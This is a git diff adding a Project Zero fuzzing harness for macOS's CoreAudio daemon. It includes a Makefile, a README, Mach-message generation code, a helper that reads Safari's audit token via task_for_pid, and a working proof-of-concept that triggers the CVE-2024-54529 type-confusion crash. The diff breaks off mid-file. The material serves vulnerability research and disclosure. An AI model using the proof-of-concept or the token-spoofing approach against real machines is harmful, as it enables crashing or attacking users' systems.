diff --git a/CoreAudioFuzz/Makefile b/CoreAudioFuzz/Makefile new file mode 100644 index 0000000..2124fb1 --- /dev/null +++ b/CoreAudioFuzz/Makefile @@ -0,0 +1,65 @@ +# Copyright 2025 Google LLC + +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at + +# https://www.apache.org/licenses/LICENSE-2.0 + +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +# Compilers +CC = clang +CXX = clang++ + +# Frameworks and Libraries +FRAMEWORKS = -framework Foundation -framework CoreAudio + +# Compiler Flags +CFLAGS = -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17#-fsanitize=address + +INCLUDE_PATHS = -I./helpers -I. + +# Source Files +SOURCES = harness.mm \ + helpers/SwizzleHelper.mm \ + helpers/debug.cc \ + helpers/initialization.cc \ + helpers/load_library.cc \ + helpers/audit_token.cc \ + helpers/message.cc \ + +# Header Files (not mandatory to list them, but can be useful) +HEADERS = helpers/SwizzleHelper.h \ + helpers/debug.h \ + helpers/initialization.h \ + helpers/load_library.h \ + helpers/audit_token.h \ + helpers/message.h \ + harness.h + +# Output Executables +OUTPUT = harness +DYLIB_OUTPUT = libmach-modify.dylib + +# Default target +all: $(OUTPUT) $(DYLIB_OUTPUT) + +# Link and compile the source files into the output executable +$(OUTPUT): $(SOURCES) + $(CXX) $(CFLAGS) $(INCLUDE_PATHS) $(FRAMEWORKS) $(SOURCES) -o $(OUTPUT) + +# Build the dynamic library +$(DYLIB_OUTPUT): mach-modify.c + $(CC) -dynamiclib -g -o $(DYLIB_OUTPUT) mach-modify.c -ldl -framework CoreAudio $(INCLUDE_PATHS) + +# Clean the build artifacts +clean: + rm -f $(OUTPUT) $(DYLIB_OUTPUT) + +# Phony targets +.PHONY: all clean \ No newline at end of file diff --git a/CoreAudioFuzz/README.md b/CoreAudioFuzz/README.md new file mode 100644 index 0000000..9cc3399 --- /dev/null +++ b/CoreAudioFuzz/README.md @@ -0,0 +1,58 @@ +![Breaking the Sound Barrier](./breaking-the-sound-barrier.png) + +## Overview + +This repository contains an open-source fuzzing harness designed to fuzz Apple's CoreAudio framework using Mach messages. The harness integrates with [Jackalope](https://github.com/googleprojectzero/Jackalope) and [TinyInst](https://github.com/googleprojectzero/TinyInst) to facilitate black box dynamic instrumentation and fuzzing. This work serves as a companion to my [Project Zero Blog Post](#TODO), demonstrating how to identify and analyze vulnerabilities in macOS's `coreaudiod` process. + +## Features +- **Fuzzing Harness**: A specialized harness for fuzzing CoreAudio via Mach messages. +- **Jackalope Integration**: Uses Jackalope for testcase management and corpus mutation. +- **Custom Function Hooks**: Contains custom function hooks to bypass areas creating fuzzing bottlenecks. +- **TinyInst Support**: Enables lightweight dynamic instrumentation to track coverage. +- **Reproducibility**: Allows others to replicate my fuzzing setup and extend research efforts. + +## Building the Harness + +### Prerequisites +Ensure you have the following dependencies installed: +- macOS (tested on latest stable versions) +- Xcode and Command Line Tools + - Make sure you have launched Xcode at least once +- CMake +- Clang + +### Building the Fuzzing Harness +``` +make +``` +### Building Jackalope fuzzer with Custom Function Hooks +``` +cd jackalope-modifications +git clone https://github.com/googleprojectzero/Jackalope.git +cd Jackalope +git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst.git +cd .. +mkdir build +cd build +cmake -G Xcode .. +cmake --build . --config Release +``` +**Note:** The custom function hook instrumentation is specifically designed to be run on x86 MacOS systems + +## Usage + +### Running the Fuzzing Harness +- `unzip` the provided `corpus.zip` file to use high-quality input samples generated during the research +- The provided `run.sh` script will run the freshly built `coreaudiofuzzer` with my fuzzing harness, corpus, and function hooks applied +``` +./run.sh +``` + +## Contributing +Contributions are welcome! Feel free to open issues and pull requests to improve the harness or expand its functionality. + +## Contact +For questions or discussions, feel free to reach out via GitHub issues or contact me directly. + +--- + diff --git a/CoreAudioFuzz/breaking-the-sound-barrier.png b/CoreAudioFuzz/breaking-the-sound-barrier.png new file mode 100644 index 0000000..86db975 Binary files /dev/null and b/CoreAudioFuzz/breaking-the-sound-barrier.png differ diff --git a/CoreAudioFuzz/corpus.zip b/CoreAudioFuzz/corpus.zip new file mode 100644 index 0000000..4dbd4f0 Binary files /dev/null and b/CoreAudioFuzz/corpus.zip differ diff --git a/CoreAudioFuzz/cve-2024-54529-poc-macos-sequoia-15.0.1.c b/CoreAudioFuzz/cve-2024-54529-poc-macos-sequoia-15.0.1.c new file mode 100644 index 0000000..8710ed7 --- /dev/null +++ b/CoreAudioFuzz/cve-2024-54529-poc-macos-sequoia-15.0.1.c @@ -0,0 +1,166 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include +#include +#include +#include +#include +#include +#include +#include + +#define XSYSTEM_OPEN_MSG_SIZE 0x38 +#define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24 + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t msgh_descriptor_count; + mach_msg_port_descriptor_t descriptor[1]; + char body[]; +} xsystemopen_mach_message; + +typedef struct { + mach_msg_header_t header; + char body0[8]; + uint32_t object_id; +} xworkgroup_mach_message; + +mach_port_t create_mach_port_with_send_and_receive_rights() { + mach_port_t port; + kern_return_t kr; + + // Allocate a port with receive rights + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr)); + exit(1); + } + + // Insert a send right for the port + kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr)); + exit(1); + } + + return port; // Return the port with send rights +} + +int main(int argc, char *argv[]) { + printf("Getting started...\n"); + + int opt; + char *service_name = "com.apple.audio.audiohald"; + mach_port_t destination_port = MACH_PORT_NULL; + + mach_port_t bootstrap_port; + kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Failed to get bootstrap port, error: %s\n", mach_error_string(kr)); + return 1; + } + + printf("Got Bootstrap port! %d\n", bootstrap_port); + + kr = bootstrap_look_up(bootstrap_port, service_name, &destination_port); + if (kr != KERN_SUCCESS) { + printf("bootstrap lookup failed, error: %s\n", mach_error_string(kr)); + return 1; + } + printf("Got service port! %d\n", destination_port); + + mach_msg_return_t result; + + // Send _XSystem_Open message to initialize client + xsystemopen_mach_message *xsystemopen_msg = malloc(XSYSTEM_OPEN_MSG_SIZE); + + mach_port_t reply_port; + // Set up the memory for descriptor + mach_port_t send_right_port = create_mach_port_with_send_and_receive_rights(); + + xsystemopen_msg->msgh_descriptor_count = 1; + xsystemopen_msg->descriptor[0].name = send_right_port; + xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND; + xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR; + + xsystemopen_msg->header.msgh_remote_port = destination_port; + xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL; + xsystemopen_msg->header.msgh_id = 1010000; + + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Error allocating reply port: %s\n", mach_error_string(kr)); + return kr; + } + + xsystemopen_msg->header.msgh_local_port = MACH_PORT_NULL; + xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX); + + result = mach_msg( + &xsystemopen_msg->header, // Pointer to the message header + MACH_SEND_MSG, // Send the message and then receive a reply in one call + XSYSTEM_OPEN_MSG_SIZE, // Send size + 0, // Receive buffer size (larger than send size) + send_right_port, // Local port to receive the reply + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL + ); + + free(xsystemopen_msg); + + fprintf(stderr, "Sent Mach message: %s\n", mach_error_string(kr)); + + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Error sending Mach message: %s\n", mach_error_string(kr)); + return 1; + } + + printf("XSystem_Open stage complete.\n"); + + xworkgroup_mach_message *workgroup_msg = malloc(XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE); + + workgroup_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_PORT_NULL, MACH_PORT_NULL, MACH_PORT_NULL); + workgroup_msg->header.msgh_size = XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE; + workgroup_msg->header.msgh_remote_port = destination_port; + workgroup_msg->header.msgh_local_port = MACH_PORT_NULL; + workgroup_msg->header.msgh_id = 1010059; + + // Arbitrary object ID (0x1 this will retrieve the HAL System type, it's expecting an IOContext type, so it will crash) + workgroup_msg->object_id = 0x1; + + result = mach_msg( + &workgroup_msg->header, // Pointer to the message header + MACH_SEND_MSG, // Just send the message + XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE, // Send size + 0, // Don't need to receive this message + MACH_PORT_NULL, // Don't need to receive this message + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL + ); + + if (result != KERN_SUCCESS) { + fprintf(stderr, "Error in mach_msg send and receive: %s\n", mach_error_string(result)); + free(workgroup_msg); + return 1; + } + + free(workgroup_msg); + + printf("XIOContext_Fetch_Workgroup_Port mach message processed successfully.\n"); + + return 0; +} diff --git a/CoreAudioFuzz/get-safari-audit-token/get-token.c b/CoreAudioFuzz/get-safari-audit-token/get-token.c new file mode 100644 index 0000000..c838d71 --- /dev/null +++ b/CoreAudioFuzz/get-safari-audit-token/get-token.c @@ -0,0 +1,104 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include +#include +#include +#include +#include +#include + +// Define PROC_PIDPATHINFO_MAXSIZE if not defined +#ifndef PROC_PIDPATHINFO_MAXSIZE +#define PROC_PIDPATHINFO_MAXSIZE 4096 +#endif + +// Function to get the PID of Safari +pid_t get_safari_pid() { + // Get the size of the buffer needed + int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0}; + size_t len = 0; + + if (sysctl(mib, 4, NULL, &len, NULL, 0) < 0) { + perror("sysctl"); + return -1; + } + + // Allocate memory for the process list + pid_t *pids = (pid_t *)malloc(len); + if (pids == NULL) { + perror("malloc"); + return -1; + } + + // Get the list of processes + if (sysctl(mib, 4, pids, &len, NULL, 0) < 0) { + perror("sysctl"); + free(pids); + return -1; + } + + // Iterate over the list to find Safari + int num_pids = len / sizeof(pid_t); + for (int i = 0; i < num_pids; i++) { + pid_t pid = pids[i]; + if (pid == 0) { + continue; + } + + char pathbuf[PROC_PIDPATHINFO_MAXSIZE]; + if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) { + if (strstr(pathbuf, "Safari.app/Contents/MacOS/Safari") != NULL) { + free(pids); + return pid; + } + } + } + + free(pids); + return -1; // Safari not found +} + +int main() { + pid_t safari_pid = get_safari_pid(); + if (safari_pid == -1) { + printf("Safari not found.\n"); + return 1; + } + + printf("Safari PID: %d\n", safari_pid); + + // Obtain the audit token of Safari + task_t task; + kern_return_t kr = task_for_pid(mach_task_self(), safari_pid, &task); + if (kr != KERN_SUCCESS) { + printf("Error getting task for PID %d: %s\n", safari_pid, mach_error_string(kr)); + return 1; + } + + audit_token_t token; + mach_msg_type_number_t size = TASK_AUDIT_TOKEN_COUNT; + kr = task_info(task, TASK_AUDIT_TOKEN, (task_info_t)&token, &size); + if (kr != KERN_SUCCESS) { + printf("Error getting task audit_token: %s\n", mach_error_string(kr)); + return 1; + } + + printf("Audit token: %d\n", token.val); // The PID is in token.val[5] + + return 0; +} + diff --git a/CoreAudioFuzz/harness.h b/CoreAudioFuzz/harness.h new file mode 100644 index 0000000..daf4ae7 --- /dev/null +++ b/CoreAudioFuzz/harness.h @@ -0,0 +1,73 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#ifndef HARNESS_H +#define HARNESS_H + +#include +#include + +typedef struct { + mach_msg_header_t header; + char body[]; +} mach_message; + +typedef struct { + mach_msg_header_t header; + mach_msg_size_t descriptor_count; + mach_msg_type_descriptor_t descriptors[]; +} descriptor_mach_message; + +#include "debug.h" +#include "initialization.h" +#include "audit_token.h" +#include "message.h" + +#include +#include + +#define MAX_SAMPLE_SIZE 10000 +#define MAX_MESSAGE_SIZE 1000 +#define MAX_MACH_MSG_TRAILER_SIZE 1000 +#define MACH_MSG_TRAILER_HEADER_SIZE 20 +#define MACH_MSG_TRAILER_SIZE 52 +#define MACH_MSG_HEADER_SIZE 24 +#define SHM_SIZE (4 + MAX_SAMPLE_SIZE) +#define MAX_OOL_DATA_SIZE (1 * 1024) // 1MB + +const size_t DESCRIPTOR_OFFSET_0 = MACH_MSG_HEADER_SIZE + sizeof(uint32_t) + 12; +const size_t DESCRIPTOR_OFFSET_1 = MACH_MSG_HEADER_SIZE + sizeof(uint32_t) + sizeof(mach_msg_ool_descriptor_t) + 12; + +// Global variables +extern unsigned char *shm_data; +extern int verbose; +extern int print_bytes_only; + +// Function prototypes and typedefs +typedef uint64_t (*t_Mach_Processing_Function)(mach_msg_header_t *incoming_mach_msg, mach_msg_header_t *returning_mach_msg); +extern t_Mach_Processing_Function Mach_Processing_Function; + +typedef void (*t_AudioHardwareStartServer)(void); +extern t_AudioHardwareStartServer AudioHardwareStartServer; + +extern uint64_t *NextObjectID; + +void generate_message(uint32_t msg_id, FuzzedDataProvider& fuzz_data, std::vector& mach_msg, std::vector>& ool_buffers, bool is_ool_message); + +// Audit token for Safari +extern audit_token_t safari_audit_token; + +#endif // HARNESS_H \ No newline at end of file diff --git a/CoreAudioFuzz/harness.mm b/CoreAudioFuzz/harness.mm new file mode 100644 index 0000000..2cc371d --- /dev/null +++ b/CoreAudioFuzz/harness.mm @@ -0,0 +1,1649 @@ +/* +Copyright 2025 Google LLC + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + https://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ + +#include "harness.h" +#import "SwizzleHelper.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +unsigned char *shm_data = NULL; +int verbose = 0; +int print_bytes_only = 0; +t_Mach_Processing_Function Mach_Processing_Function = NULL; +t_AudioHardwareStartServer AudioHardwareStartServer = NULL; +uint64_t *NextObjectID = NULL; +audit_token_t safari_audit_token; + +void append_vector(std::vector& dest, const std::vector& src) { + dest.insert(dest.end(), src.begin(), src.end()); +} + +std::vector get_standard_trailer() { + // Add the trailer statically + std::vector trailer; + + // Static values for the trailer + std::vector msg_trailer_type = {0x00, 0x00, 0x00, 0x00}; + uint32_t msg_trailer_size = 32; // Trailer size is 32 bytes + verbose_print("Trailer size: %d\n", msg_trailer_size); + std::vector msg_trailer_size_vec((std::uint8_t*)&msg_trailer_size, (std::uint8_t*)&(msg_trailer_size) + sizeof(std::uint32_t)); + + std::vector msg_seqno = {0x00, 0x00, 0x00, 0x00}; + std::vector msg_sender = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + // Convert the audit token to a byte vector for the trailer body + std::vector trailer_body((uint8_t*)&safari_audit_token, (uint8_t*)&safari_audit_token + sizeof(audit_token_t)); + + append_vector(trailer, msg_trailer_type); + append_vector(trailer, msg_trailer_size_vec); + append_vector(trailer, msg_seqno); + append_vector(trailer, msg_sender); + append_vector(trailer, trailer_body); + + return trailer; +} + +void generate_header(FuzzedDataProvider& fuzz_data, uint32_t& msg_size, uint32_t msg_id, std::vector& header, bool is_ool_message=false) { + // Consume bits for message header + uint32_t msg_bits = fuzz_data.ConsumeIntegral(); + + if (is_ool_message) { + msg_bits = msg_bits | 0x80000000; + } + + std::vector msg_bits_vec((uint8_t*)&msg_bits, (uint8_t*)&msg_bits + sizeof(uint32_t)); + + // Check if the message size needs to be generated + if (msg_size == 0) { + msg_size = fuzz_data.ConsumeIntegralInRange(MACH_MSG_HEADER_SIZE, 1000); + } + + std::vector msg_size_vec((uint8_t*)&msg_size, (uint8_t*)&msg_size + sizeof(uint32_t)); + + // Consume ports and message ID + std::vector msg_remote_port = fuzz_data.ConsumeBytes(4); + std::vector msg_local_port = fuzz_data.ConsumeBytes(4); + std::vector msg_voucher_port = fuzz_data.ConsumeBytes(4); + std::vector msg_id_vec((uint8_t*)&msg_id, (uint8_t*)&msg_id + sizeof(uint32_t)); + + // Append all parts to the header vector + append_vector(header, msg_bits_vec); + append_vector(header, msg_size_vec); + append_vector(header, msg_remote_port); + append_vector(header, msg_local_port); + append_vector(header, msg_voucher_port); + append_vector(header, msg_id_vec); +} + +// Define valid values for property selectors, scopes, and elements +const std::vector kValidSelectors = { + 'grup', 'agrp', 'acom', 'amst', 'apcd', 'tap#', 'atap', '****', 0 +}; + +const std::vector kValidScopes = { + 'glob', 'inpt', 'outp', 'ptru', '****', 0 +}; + +const std::vector kValidElements = { + 0xFFFFFFFF, 0 // Wildcard and Null +}; + +// Function to flip a weighted coin using FuzzedDataProvider::ConsumeProbability() +bool flip_weighted_coin(double probability, FuzzedDataProvider& fuzz_data) { + return fuzz_data.ConsumeProbability() < probability; +} + +// Function to choose a random value from a given vector +uint32_t choose_one_of(FuzzedDataProvider& fuzz_data, const std::vector& choices) { + return choices[fuzz_data.ConsumeIntegralInRange(0, choices.size() - 1)]; +} + +// Function to add selector information to mach_msg +void add_selector_information(FuzzedDataProvider& fuzz_data, std::vector& body) { + if (body.size() < 16) { + return; // Ensure there's enough space to modify the last 16 bytes + } + + if (flip_weighted_coin(0.95, fuzz_data)) { // 95% probability + size_t end = body.size(); + *reinterpret_cast(&body[end - 16]) = choose_one_of(fuzz_data, kValidSelectors); + *reinterpret_cast(&body[end - 12]) = choose_one_of(fuzz_data, kValidScopes); + *reinterpret_cast(&body[end - 8]) = choose_one_of(fuzz_data, kValidElements); + } +} + +void generate_body(uint32_t msg_id, FuzzedDataProvider& fuzz_data, std::vector& body, uint32_t body_size) { + body = fuzz_data.ConsumeBytes(body_size); + + if (body.size() < body_size) { + body.resize(body_size, 0x00); + } + + std::string msg_id_string = message_id_to_string(static_cast(msg_id)); + if (msg_id_string.find("SetProperty") != std::string::npos || + msg_id_string.find("GetProperty") != std::string::npos || + msg_id_string.find("GetObjectInfo") != std::string::npos) { + add_selector_information(fuzz_data, body); + } +} + +// Helper function to generate a normal message +std::vector generate_normal_message(uint32_t msg_id, FuzzedDataProvider& fuzz_data, uint32_t msg_size, std::vector& mach_msg) { + // HEADER + std::vector header; + generate_header(fuzz_data, msg_size, msg_id, header); + + // BODY + std::vector body; + if (header.size() < msg_size) { + uint32_t body_size = msg_size - header.size(); + generate_body(msg_id, fuzz_data, body, body_size); + } + + // Combine header and body. Resize if necessary + mach_msg.insert(mach_msg.end(), header.begin(), header.end()); + mach_msg.insert(mach_msg.end(), body.begin(), body.end()); + // Will either trim if too long, or pad with zeroes + mach_msg.resize(msg_size, 0); + + // TRAILER + std::vector trailer = get_standard_trailer(); + mach_msg.insert(mach_msg.end(), trailer.begin(), trailer.end()); + + return mach_msg; +} + +void print_ool_buffer_contents(void *buffer, size_t size) { + uint8_t *byteBuffer = (uint8_t *)buffer; // Cast the buffer to a byte pointer + + // Print each byte in hexadecimal format + printf("OOL Buffer contents (size = %zu bytes):\n", size); + for (size_t i = 0; i < size; ++i) { + printf("0x%02x ", byteBuffer[i]); + } + printf("\n"); +} + +// typedef union { +// mach_msg_port_descriptor_t port; +// mach_msg_ool_descriptor_t out_of_line; +// mach_msg_ool_ports_descriptor_t ool_ports; +// mach_msg_type_descriptor_t type; +// mach_msg_guarded_port_descriptor_t guarded_port; +// } mach_msg_descriptor_t; + +// Function to safely get a pointer to the element at the given index, or nullptr if out of bounds +template +const T* safe_get(const std::vector& vec, size_t index) { + return (index < vec.size()) ? &vec[index] : nullptr; +} + +mach_port_t create_mach_port_with_send_rights() { + mach_port_t port; + kern_return_t kr; + + // Allocate a port with receive rights + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr)); + exit(1); + } + + // Insert a send right for the port + kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + if (kr != KERN_SUCCESS) { + fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr)); + exit(1); + } + + return port; // Return the port with send rights +} + +mach_port_t create_mach_port_with_send_and_receive_rights() { + mach_port_t port = MACH_PORT_NULL; // Initialize port variable + kern_return_t kr; + + // Step 1: Allocate a port with receive rights + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port); + if (kr != KERN_SUCCESS) { + std::cerr << "Failed to allocate Mach port with receive rights: " << mach_error_string(kr) << std::endl; + exit(1); // Exit on failure to allocate the port + } + + // Step 2: Insert a send right for the port + kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + if (kr != KERN_SUCCESS) { + std::cerr << "Failed to insert send right into port: " << mach_error_string(kr) << std::endl; + mach_port_deallocate(mach_task_self(), port); // Deallocate the port if adding send right fails + exit(1); + } + + return port; +} + +void generate_descriptors(FuzzedDataProvider& fuzz_data, std::vector& descriptors, uint32_t descriptor_count, const std::vector& descriptor_types, std::vector>& ool_buffers) { + + // Consume a descriptor_count if it hasn't been hardcoded for the message + if (descriptor_count < 1) { + descriptor_count = fuzz_data.ConsumeIntegralInRange(1, 4); + } + + // Convert descriptor_count to a vector and append + std::vector descriptor_count_vec(reinterpret_cast(&descriptor_count), reinterpret_cast(&descriptor_count) + sizeof(uint32_t)); + append_vector(descriptors, descriptor_count_vec); + + for (uint32_t i = 0; i < descriptor_count; i++) { + // Use safe_get to safely access the descriptor type + const mach_msg_descriptor_type_t* type_ptr = safe_get(descriptor_types, i); + + // Check if the pointer is valid (not null) + mach_msg_descriptor_type_t type; + if (type_ptr != nullptr) { + type = *type_ptr; + } else { + // If no descriptor type is found, use a default or fuzz one + type = fuzz_data.ConsumeIntegralInRange(0, 2); + } + + switch (type) { + case MACH_MSG_OOL_DESCRIPTOR: { + void* oolBuffer = NULL; + uint32_t size; + if (flip_weighted_coin(0.5, fuzz_data)) { + // Place plist within OOL data + const char* data = "nameAggregate DeviceuidDillonFrankeAAAAADillonFrankeAAAAADillonFrankeAAAAAAAAAAAAAAAA21"; + + size = strlen(data) + 1; + + if (vm_allocate(mach_task_self(), reinterpret_cast(&oolBuffer), size, VM_FLAGS_ANYWHERE) != KERN_SUCCESS) { + printf("Failed to allocate memory buffer\n"); + // Deallocate previously allocated buffers if allocation fails + for (const auto& buffer_pair : ool_buffers) { + vm_deallocate(mach_task_self(), reinterpret_cast(buffer_pair.first), buffer_pair.second); + } + return; + } + strncpy((char *)oolBuffer, data, size); + } else { + // Generate random data from the fuzz input for the OOL data + uint32_t planned_size = fuzz_data.ConsumeIntegralInRange(1, MAX_OOL_DATA_SIZE); + + if (vm_allocate(mach_task_self(), reinterpret_cast(&oolBuffer), planned_size, VM_FLAGS_ANYWHERE) != KERN_SUCCESS) { + printf("Failed to allocate memory buffer\n"); + // Deallocate previously allocated buffers if allocation fails + for (const auto& buffer_pair : ool_buffers) { + vm_deallocate(mach_task_self(), reinterpret_cast(buffer_pair.first), buffer_pair.second); + } + return; + } + size = fuzz_data.ConsumeData(oolBuffer, planned_size); + } + + // Store the allocated buffer and fill it with fuzzed data + ool_buffers.push_back(std::make_pair(oolBuffer, size)); + + if (verbose) { + printf("Allocated OOL Buffer contains:\n"); + print_ool_buffer_contents(oolBuffer, size); + } + + // Create a new vector that fits the size of the descriptor/get a pointer to raw data + std::vector descriptor_vec(sizeof(mach_msg_ool_descriptor_t), 0x00); + mach_msg_ool_descriptor_t* ool_descriptor = reinterpret_cast(descriptor_vec.data()); + + // Populate the OOL descriptor fields + ool_descriptor->size = size; + ool_descriptor->address = oolBuffer; + ool_descriptor->deallocate = fuzz_data.ConsumeIntegralInRange(0, 1); + ool_descriptor->copy = fuzz_data.ConsumeIntegralInRange(0, 4); + ool_descriptor->pad1 = fuzz_data.ConsumeIntegral(); + ool_descriptor->type = MACH_MSG_OOL_DESCRIPTOR; + + // Append to the descriptors vector + append_vector(descriptors, descriptor_vec); + + break; + } + case MACH_MSG_PORT_DESCRIPTOR: { + // Create a new vector that fits the size of the descriptor/get a pointer to raw data + std::vector descriptor_vec(sizeof(mach_msg_port_descriptor_t), 0x00); + mach_msg_port_descriptor_t* port_descriptor = reinterpret_cast(descriptor_vec.data()); + + port_descriptor->name = create_mach_port_with_send_rights(); // Ensure this function is defined + port_descriptor->pad1 = fuzz_data.ConsumeIntegral(); + port_descriptor->pad2 = fuzz_data.ConsumeIntegral(); + port_descriptor->disposition = fuzz_data.ConsumeIntegralInRange(16, 26); + port_descriptor->type = MACH_MSG_PORT_DESCRIPTOR; + + // Append to the descriptors vector + append_vector(descriptors, descriptor_vec); + + break; + } + case MACH_MSG_OOL_PORTS_DESCRIPTOR: { + // Create a new vector that fits the size of the descriptor/get a pointer to raw data + std::vector descriptor_vec(sizeof(mach_msg_ool_ports_descriptor_t), 0x00); + mach_msg_ool_ports_descriptor_t* ool_ports_descriptor = reinterpret_cast(descriptor_vec.data()); + + uint32_t port_count = fuzz_data.ConsumeIntegralInRange(0, 4); + mach_port_t* port_array = new mach_port_t[port_count]; // Allocate array of ports + + for (uint32_t j = 0; j < port_count; j++) { + port_array[j] = create_mach_port_with_send_and_receive_rights(); // Create and store port + } + + ool_ports_descriptor->address = port_array; + ool_ports_descriptor->deallocate = fuzz_data.ConsumeIntegralInRange(0, 1); + ool_ports_descriptor->copy = fuzz_data.ConsumeIntegralInRange(0, 4); + ool_ports_descriptor->disposition = fuzz_data.ConsumeIntegralInRange(16, 26); + ool_ports_descriptor->type = MACH_MSG_OOL_PORTS_DESCRIPTOR; + ool_ports_descriptor->count = port_count; + + delete[] port_array; // Ensure proper memory cleanup + + // Append to the descriptors vector + append_vector(descriptors, descriptor_vec); + + break; + } + default: + break; + } + } +} + + +// Helper function to generate an OOL message +void generate_ool_message(uint32_t msg_id, FuzzedDataProvider& fuzz_data, uint32_t msg_size, uint32_t descriptor_count, const std::vector& descriptor_types, std::vector& mach_msg, std::vector>& ool_buffers) { + // HEADER + std::vector header; + generate_header(fuzz_data, msg_size, msg_id, header, true); + + // DESCRIPTORS + std::vector descriptors; + if (header.size() < msg_size) { + generate_descriptors(fuzz_data, descriptors, descriptor_count, descriptor_types, ool_buffers); + } + + // BODY + std::vector body; + if (header.size() + descriptors.size() < msg_size) { + uint32_t body_size = msg_size - (header.size() + descriptors.size()); + generate_body(msg_id, fuzz_data, body, body_size); + } + + // Combine header, body, and descriptors. Resize if necessary + mach_msg.insert(mach_msg.end(), header.begin(), header.end()); + mach_msg.insert(mach_msg.end(), descriptors.begin(), descriptors.end()); + mach_msg.insert(mach_msg.end(), body.begin(), body.end()); + // Will either trim if too long, or pad with zeroes + mach_msg.resize(msg_size, 0); + + // TRAILER + std::vector trailer = get_standard_trailer(); + mach_msg.insert(mach_msg.end(), trailer.begin(), trailer.end()); +} + + +void generate_message(uint32_t msg_id, FuzzedDataProvider& fuzz_data, std::vector& mach_msg, std::vector>& ool_buffers, bool is_ool_message) { + switch (msg_id) { + case XSystem_Open: { + std::vector descriptor_types = {MACH_MSG_PORT_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x38, (uint32_t)0x01, descriptor_types, mach_msg, ool_buffers); + + // Branch condition to satisfy + mach_msg[MACH_MSG_HEADER_SIZE + 14] = 0x11; + mach_msg[MACH_MSG_HEADER_SIZE + 15] = 0x00; + + break; + } + case XObject_SetPropertyData_DCFString_QCFString: { + std::vector descriptor_types = {MACH_MSG_OOL_DESCRIPTOR, MACH_MSG_OOL_DESCRIPTOR}; + // Call the helper function to generate the OOL message structure + generate_ool_message(msg_id, fuzz_data, (uint32_t)0x5C, (uint32_t)0x02, descriptor_types, mach_msg, ool_buffers); + + // Dynamic assignment using fuzzed data for branch condition (must be 0x1) + 